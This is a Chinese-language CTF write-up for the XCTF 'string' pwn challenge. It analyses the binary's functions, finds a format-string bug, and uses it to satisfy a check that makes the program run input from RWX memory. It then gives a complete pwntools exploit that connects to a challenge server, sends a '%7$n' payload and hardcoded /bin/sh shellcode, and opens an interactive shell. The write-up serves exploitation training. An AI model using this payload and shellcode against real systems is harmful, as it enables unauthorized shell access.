攻防世界(11):string
查壳:开了Canary和NX,没开Pie
ida查看每个函数的有用的意义(a1==v4)
函数 | 意义 |
---|---|
main | 引导进入sub_400D72 |
sub_400D72 | 获取输入,长度<12继续 |
sub_400A7D | 获取输入,直到输入为 east 为止才能进行下一个流程 |
sub_400BB9 | 获取输入,如果输入的值不是 1 ,那么直接进行下一个流程 |
sub_400BB9 | 输入的值是 1,那么存在格式化字符串漏洞可以进行偏移 |
sub_400CA6 | 判断a1[0] == a1[1],如果相等,那么调用 mmap 分配一块 1000h 大小的空间,其中第三个参数告诉我们,这块空间具有可读可写可执行的权限 |
综上,目标是将1[0] == a1[1]执行成功,利用sub_400BB9的格式化字符串漏洞进行偏移
64 位的程序,前 6 个参数是放在寄存器中的rdi, rsi, rdx, rcx, r8, r9, 后面为rsp+8, rsp+16,故v2是args 中的第 7 个参数(用%p打点也可以得到偏移),用 '%7$n' 的方式来访问并修改 main 中分配的空间中的值
利用
编写exp
#!/usr/bin/env python
from pwn import *
p = remote("111.200.241.244", 39379)
p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1], 16)
#录入v3地址
p.recvuntil("What should your character's name be:\n")
p.sendline("123")
p.recvuntil("So, where you will go?east or up?:\n")
p.sendline("east")
p.recvuntil("go into there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("'Give me an address'\n")
p.sendline(str(addr))
p.recvuntil("And, you wish is:\n")
payload = 'A' * 85 + "%7$n"
p.sendline(payload)
#shellcode = asm(shellcraft.sh())
# pwndbg的shellcode
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendline(shellcode)
p.interactive()